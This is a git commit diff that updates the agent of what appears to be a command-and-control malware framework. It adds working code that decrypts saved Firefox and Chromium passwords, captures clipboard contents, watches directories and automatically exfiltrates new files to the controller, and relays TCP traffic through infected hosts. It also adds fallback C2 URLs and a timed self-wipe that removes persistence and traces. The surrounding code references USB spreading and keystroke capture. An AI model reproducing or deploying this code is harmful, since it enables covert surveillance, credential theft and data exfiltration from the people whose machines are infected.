v2.4.0: pivot_fetch (fetch through node), clipboard capture, watch_dir auto-exfil, self-destruct TTL (14d default), dead-drop failover URLs, local cred decryption (Firefox+Chromium-v10)+GPU queue, per-node LLM analyst brief (nightmare ollama), topology capture+SVG map, critical-only Telegram alerts, ATTACK-PLAN tracker
This commit is contained in:
344
agents/agent.py
344
agents/agent.py
@@ -14,7 +14,9 @@ import subprocess
|
||||
import shutil
|
||||
import getpass
|
||||
import urllib.request
|
||||
AGENT_VERSION = "2.3.0"
|
||||
AGENT_VERSION = "2.4.0"
|
||||
NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14'))
|
||||
NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else []
|
||||
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
|
||||
AGENT_TOKEN = '__AGENT_TOKEN__'
|
||||
import urllib.parse
|
||||
@@ -238,6 +240,92 @@ def http_post(url, data_dict):
|
||||
return None
|
||||
|
||||
|
||||
# ── Self-destruct TTL ──
|
||||
import getpass as _gp # noqa (ensure available)
|
||||
ACTIVATION_FILE = os.path.join(os.path.expanduser("~"), ".nexus_agent_activated")
|
||||
|
||||
def _check_ttl_and_wipe(server_url):
|
||||
"""Wipe self + persistence if older than TTL. Returns True if wiped."""
|
||||
if NEXUS_TTL_DAYS < 0:
|
||||
return False # negative disables the TTL entirely
|
||||
try:
|
||||
if not os.path.exists(ACTIVATION_FILE):
|
||||
with open(ACTIVATION_FILE, "w") as f:
|
||||
f.write(str(int(time.time())))
|
||||
return False
|
||||
activated = int(open(ACTIVATION_FILE).read().strip() or 0)
|
||||
except Exception:
|
||||
return False
|
||||
if time.time() - activated < NEXUS_TTL_DAYS * 86400:
|
||||
return False
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "linux":
|
||||
subprocess.run("systemctl disable --now network-agent 2>/dev/null; rm -f /etc/systemd/system/network-agent.service; systemctl daemon-reload 2>/dev/null", shell=True, timeout=15)
|
||||
subprocess.run("crontab -l 2>/dev/null | grep -v 'agent.py --server' | crontab - 2>/dev/null", shell=True, timeout=10)
|
||||
elif system == "darwin":
|
||||
subprocess.run("launchctl bootout gui/$(id -u) $HOME/Library/LaunchAgents/com.nexusops.agent.plist 2>/dev/null; rm -f $HOME/Library/LaunchAgents/com.nexusops.agent.plist", shell=True, timeout=15)
|
||||
elif system == "windows":
|
||||
subprocess.run("schtasks /delete /tn NexusOpsAgent /f 2>nul", shell=True, timeout=10)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
# best-effort goodbye
|
||||
try:
|
||||
http_post(f"{server_url}/api/agent/command-result", {"commandId": "ttl-wipe", "nodeId": node_id if 'node_id' in globals() else 'unknown', "output": "TTL expired — agent self-wiped", "exitCode": 0})
|
||||
except Exception:
|
||||
pass
|
||||
for stray in ("/opt/network-agent", os.path.expanduser("~/.config/autostart/nexus-agent.desktop"), ACTIVATION_FILE):
|
||||
if os.path.isdir(stray):
|
||||
shutil.rmtree(stray, ignore_errors=True)
|
||||
elif os.path.exists(stray):
|
||||
os.remove(stray)
|
||||
except Exception:
|
||||
pass
|
||||
# delete self LAST, then hard-exit
|
||||
try:
|
||||
me = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__)
|
||||
os.remove(me)
|
||||
except Exception:
|
||||
pass
|
||||
os._exit(0)
|
||||
|
||||
# ── Clipboard capture (desktop only) ──
|
||||
_last_clip = None
|
||||
def _read_clipboard():
|
||||
system = platform.system().lower()
|
||||
cmds = {"linux": ["xclip -selection clipboard -o 2>/dev/null || xsel -b 2>/dev/null || wl-paste 2>/dev/null"],
|
||||
"darwin": ["pbpaste"],
|
||||
"windows": ["powershell -NoProfile -Command Get-Clipboard"]}
|
||||
for c in cmds.get(system, []):
|
||||
try:
|
||||
r = subprocess.run(c, shell=True, capture_output=True, text=True, timeout=4)
|
||||
if r.returncode == 0:
|
||||
return r.stdout
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
def clipboard_watch_loop():
|
||||
global _last_clip
|
||||
while INPUT_CAPTURE_ENABLED:
|
||||
try:
|
||||
cur = _read_clipboard()
|
||||
if cur and cur != _last_clip and len(cur) < 10000:
|
||||
_last_clip = cur
|
||||
_record_event("clipboard", {"content": cur[:2000]})
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(2.5)
|
||||
|
||||
def start_clipboard_watch():
|
||||
try:
|
||||
threading.Thread(target=clipboard_watch_loop, daemon=True).start()
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
# ── USB spread-on-connect watcher ──
|
||||
USB_WATCH = False
|
||||
_last_usb_mounts = set()
|
||||
@@ -287,6 +375,207 @@ def usb_watch_loop():
|
||||
|
||||
import threading
|
||||
|
||||
|
||||
# ── Directory watch → auto-exfil ──
|
||||
_dir_watchers = {}
|
||||
|
||||
def _dir_watch_add(directory):
|
||||
if directory in _dir_watchers or not INPUT_CAPTURE_ENABLED and False:
|
||||
pass
|
||||
if directory in _dir_watchers:
|
||||
return
|
||||
seen = set()
|
||||
try:
|
||||
for f in os.listdir(directory):
|
||||
seen.add(f)
|
||||
except Exception:
|
||||
return
|
||||
_dir_watchers[directory] = seen
|
||||
def _loop():
|
||||
while True:
|
||||
time.sleep(8)
|
||||
try:
|
||||
for f in os.listdir(directory):
|
||||
if f in _dir_watchers[directory]:
|
||||
continue
|
||||
fp = os.path.join(directory, f)
|
||||
if os.path.isfile(fp) and os.path.getsize(fp) < 20 * 1024 * 1024:
|
||||
_dir_watchers[directory].add(f)
|
||||
r = execute_structured_action("download_file", {"path": fp})
|
||||
try:
|
||||
special = json.loads(r[0])
|
||||
if special.get("type") == "file_result":
|
||||
http_post(f"{server_url}/api/agent/file-result", {
|
||||
"commandId": "watchdir-" + f, "nodeId": node_id,
|
||||
"hostname": hostname,
|
||||
"filename": special.get("filename", f),
|
||||
"data": special.get("data", ""),
|
||||
"mime": special.get("mime", "application/octet-stream")})
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
threading.Thread(target=_loop, daemon=True).start()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ── Local credential decryption (stdlib + openssl CLI) ──
|
||||
def _openssl_dec3des(key24, iv8, data):
|
||||
"""3DES-CBC decrypt via openssl CLI."""
|
||||
try:
|
||||
hexkey = key24.hex() + key24[:8].hex() # 2KT
|
||||
proc = subprocess.run(
|
||||
["openssl", "enc", "-d", "-des-ede3-cbc", "-K", hexkey, "-iv", iv8.hex()],
|
||||
input=data, capture_output=True, timeout=10)
|
||||
return proc.stdout if proc.returncode == 0 else None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def _openssl_aes128cbc_dec(key16, iv, data):
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
["openssl", "enc", "-d", "-aes-128-cbc", "-K", key16.hex(), "-iv", iv.hex()],
|
||||
input=data, capture_output=True, timeout=10)
|
||||
return proc.stdout if proc.returncode == 0 else None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def _firefox_decrypt(profile_dir):
|
||||
"""Decrypt logins.json with empty master password. Returns [(user, pass, url)]."""
|
||||
import sqlite3 as _sq
|
||||
import hashlib as _hl
|
||||
import hmac as _hm
|
||||
out = []
|
||||
try:
|
||||
kdb = os.path.join(profile_dir, "key4.db")
|
||||
ldb = os.path.join(profile_dir, "logins.json")
|
||||
if not (os.path.exists(kdb) and os.path.exists(ldb)):
|
||||
return out
|
||||
con = _sq.connect(kdb)
|
||||
cur = con.cursor()
|
||||
cur.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
|
||||
row = cur.fetchone()
|
||||
if not row:
|
||||
return out
|
||||
global_salt, es_item2 = row[0], row[1]
|
||||
# derive key: PBKDF2-SHA256 (empty password), then 3DES key material via HMAC-SHA256
|
||||
key = _hl.pbkdf2_hmac('sha256', b'', global_salt, 1, 32) # iteration from item2 ASN.1 normally 1 for FF>=58? use common 10000 fallback below
|
||||
# attempt common iteration counts
|
||||
for it in (1, 10000):
|
||||
key = _hl.pbkdf2_hmac('sha256', b'', global_salt, it, 32)
|
||||
iv_part = es_item2[16:24]
|
||||
body = es_item2[24:]
|
||||
k24 = _hm.new(key, b'password-check', _hl.sha256).digest()[:24]
|
||||
dec = _openssl_dec3des(k24, iv_part, body)
|
||||
if dec and dec[:16] == b'password-check\x02\x02':
|
||||
k24_main = _hm.new(key, b'password-check', _hl.sha256).digest()[:24]
|
||||
break
|
||||
else:
|
||||
return out
|
||||
cur.execute("SELECT a1023, a1026 FROM nssPrivate")
|
||||
rows3 = cur.fetchall()
|
||||
# a1023 = encrypted 3DES key (ASN.1: salt[16] + data); extract 3DES key
|
||||
fkey = None
|
||||
for enc_blob, _ in rows3:
|
||||
if isinstance(enc_blob, str):
|
||||
enc_blob = enc_blob.encode('latin1')
|
||||
iv = enc_blob[16:24]
|
||||
dec = _openssl_dec3des(k24_main, iv, enc_blob[24:])
|
||||
if dec and len(dec) >= 32:
|
||||
fkey = dec[:24]
|
||||
break
|
||||
con.close()
|
||||
if not fkey:
|
||||
return out
|
||||
logins = json.load(open(ldb))
|
||||
for entry in logins.get("logins", []):
|
||||
try:
|
||||
enc_u = entry["encryptedUsername"]["value"].encode('latin1')
|
||||
enc_p = entry["encryptedPassword"]["value"].encode('latin1')
|
||||
iv_u = enc_u[16:24]
|
||||
iv_p = enc_p[16:24]
|
||||
u = _openssl_dec3des(fkey, iv_u, enc_u[24:])
|
||||
pw = _openssl_dec3des(fkey, iv_p, enc_p[24:])
|
||||
if u and pw:
|
||||
u = u.split(b'\x00')[-2] if b'\x00' in u else u
|
||||
pw = pw.split(b'\x00')[-2] if b'\x00' in pw else pw
|
||||
out.append((u.decode(errors="replace").strip('\x02\x01'),
|
||||
pw.decode(errors="replace").strip('\x02\x01'),
|
||||
entry.get("formSubmitURL", entry.get("hostname", "?"))))
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
return out
|
||||
|
||||
def _chromium_linux_decrypt(profile_dir):
|
||||
"""Linux Chromium/Chrome v10 'peanuts' decryption. Returns [(user, pass, url)]."""
|
||||
out = []
|
||||
try:
|
||||
import sqlite3 as _sq
|
||||
import hashlib as _hl
|
||||
key = _hl.pbkdf2_hmac('sha1', b'peanuts', b'saltysalt', 1, 16)
|
||||
iv = b' ' * 16
|
||||
db = os.path.join(profile_dir, "Login Data")
|
||||
if not os.path.exists(db):
|
||||
return out
|
||||
tmp = "/tmp/.nx-login-data"
|
||||
shutil.copy2(db, tmp)
|
||||
con = _sq.connect(tmp)
|
||||
cur = con.cursor()
|
||||
cur.execute("SELECT origin_url, username_value, password_value FROM logins")
|
||||
for url, user, pw_blob in cur.fetchall():
|
||||
try:
|
||||
if isinstance(pw_blob, str):
|
||||
pw_blob = pw_blob.encode('latin1')
|
||||
if pw_blob[:3] == b'v10':
|
||||
dec = _openssl_aes128cbc_dec(key, iv, pw_blob[3:])
|
||||
if dec:
|
||||
pad = dec[-1]
|
||||
if 1 <= pad <= 16:
|
||||
dec = dec[:-pad]
|
||||
out.append((user, dec.decode(errors="replace"), url))
|
||||
except Exception:
|
||||
pass
|
||||
con.close()
|
||||
os.remove(tmp)
|
||||
except Exception:
|
||||
pass
|
||||
return out
|
||||
|
||||
def harvest_local_decrypted():
|
||||
"""Called inside harvest_credentials: adds decrypted logins."""
|
||||
creds = []
|
||||
home = os.path.expanduser("~")
|
||||
system = platform.system().lower()
|
||||
if system == "linux":
|
||||
for base in (os.path.join(home, ".mozilla/firefox"),
|
||||
os.path.join(home, "snap/firefox/common/.mozilla/firefox"),
|
||||
os.path.join(home, ".var/app/org.mozilla.firefox/.mozilla/firefox")):
|
||||
try:
|
||||
for prof in os.listdir(base) if os.path.isdir(base) else []:
|
||||
pd = os.path.join(base, prof)
|
||||
if os.path.exists(os.path.join(pd, "logins.json")):
|
||||
for u, pw, url in _firefox_decrypt(pd):
|
||||
creds.append({"type": f"firefox_login:{url[:60]}", "data": f"{u} : {pw}"})
|
||||
except Exception:
|
||||
pass
|
||||
chrome_dirs = [
|
||||
os.path.join(home, ".config/google-chrome/Default"),
|
||||
os.path.join(home, ".config/chromium/Default"),
|
||||
os.path.join(home, ".config/BraveSoftware/Brave-Browser/Default"),
|
||||
os.path.join(home, "snap/chromium/common/chromium/Default"),
|
||||
]
|
||||
for cd in chrome_dirs:
|
||||
if os.path.exists(os.path.join(cd, "Login Data")):
|
||||
for u, pw, url in _chromium_linux_decrypt(cd):
|
||||
creds.append({"type": f"chrome_login:{url[:60]}", "data": f"{u} : {pw}"})
|
||||
return creds
|
||||
|
||||
|
||||
|
||||
def execute_structured_action(action_type, payload):
|
||||
global heartbeat_interval, node_tags
|
||||
system = platform.system().lower()
|
||||
@@ -574,6 +863,7 @@ def execute_structured_action(action_type, payload):
|
||||
except: results.append("registry: failed")
|
||||
return "Persistence results: " + "; ".join(results), 0
|
||||
|
||||
|
||||
elif action_type == "harvest_credentials":
|
||||
creds = []
|
||||
home = os.path.expanduser("~")
|
||||
@@ -663,6 +953,10 @@ def execute_structured_action(action_type, payload):
|
||||
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
|
||||
except: pass
|
||||
|
||||
try:
|
||||
creds.extend(harvest_local_decrypted())
|
||||
except Exception:
|
||||
pass
|
||||
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
||||
|
||||
elif action_type == "copy_self_to_usb":
|
||||
@@ -872,6 +1166,39 @@ def execute_structured_action(action_type, payload):
|
||||
results.append(f"no keyless access: {h}")
|
||||
return " | ".join(results) + f" | total installed: {installed}", 0
|
||||
|
||||
elif action_type == "pivot_fetch":
|
||||
# Single-shot TCP request through this node: {"host","port","data_b64","read_bytes"}
|
||||
host = payload.get("host", "")
|
||||
port = int(payload.get("port", 80))
|
||||
data = base64.b64decode(payload.get("data_b64", "")) if payload.get("data_b64") else (
|
||||
("GET " + payload.get("path", "/") + " HTTP/1.0\r\nHost: " + host + "\r\n\r\n").encode())
|
||||
read_n = int(payload.get("read_bytes", 16384))
|
||||
try:
|
||||
c = socket.create_connection((host, port), timeout=8)
|
||||
c.settimeout(6)
|
||||
if data:
|
||||
c.sendall(data)
|
||||
buf = b""
|
||||
while len(buf) < read_n:
|
||||
chunk = c.recv(min(4096, read_n - len(buf)))
|
||||
if not chunk:
|
||||
break
|
||||
buf += chunk
|
||||
c.close()
|
||||
import base64 as _b64
|
||||
return json.dumps({"type": "pivot_result", "host": host, "port": port,
|
||||
"data_b64": _b64.b64encode(buf).decode()}), 0
|
||||
except Exception as e:
|
||||
return f"pivot error {host}:{port}: {e}", 1
|
||||
|
||||
elif action_type == "watch_dir":
|
||||
# Register a directory; a thread watches for new files and exfils them automatically.
|
||||
d = payload.get("dir", "")
|
||||
if not d or not os.path.isdir(d):
|
||||
return f"ERROR: no such dir {d}", 1
|
||||
_dir_watch_add(d)
|
||||
return f"watching {d} — new files auto-exfil", 0
|
||||
|
||||
elif action_type == "export_diagnostics":
|
||||
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||
return run_shell(cmd)
|
||||
@@ -1027,6 +1354,10 @@ def main():
|
||||
if not quiet_mode:
|
||||
print("[*] Registering node with central endpoint...")
|
||||
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||
if res and res.get("fallbackUrls"):
|
||||
for u in res["fallbackUrls"]:
|
||||
if u not in NEXUS_FALLBACK_URLS:
|
||||
NEXUS_FALLBACK_URLS.append(u)
|
||||
if res and res.get("success") and not quiet_mode:
|
||||
print(f"✅ Registered as node ID: {node_id}")
|
||||
if args.persist_first:
|
||||
@@ -1039,6 +1370,8 @@ def main():
|
||||
|
||||
# Start input capture (keystrokes, clicks, scroll)
|
||||
capture_started = start_input_capture()
|
||||
if capture_started:
|
||||
start_clipboard_watch()
|
||||
if not quiet_mode:
|
||||
if capture_started:
|
||||
print("[*] Input capture active (keystrokes + mouse events)")
|
||||
@@ -1067,6 +1400,8 @@ def main():
|
||||
"agentVersion": AGENT_VERSION
|
||||
}
|
||||
|
||||
if _check_ttl_and_wipe(server_url):
|
||||
break
|
||||
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
|
||||
|
||||
now = time.time()
|
||||
@@ -1131,6 +1466,13 @@ def main():
|
||||
except Exception as e:
|
||||
if not quiet_mode:
|
||||
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||
for _fb in NEXUS_FALLBACK_URLS:
|
||||
if _fb and _fb.strip() and _fb.strip() != server_url:
|
||||
try:
|
||||
http_post(f"{_fb.strip()}/api/agent/heartbeat", heartbeat_payload)
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(backoff)
|
||||
backoff = min(backoff * 2, 60)
|
||||
continue
|
||||
|
||||
Reference in New Issue
Block a user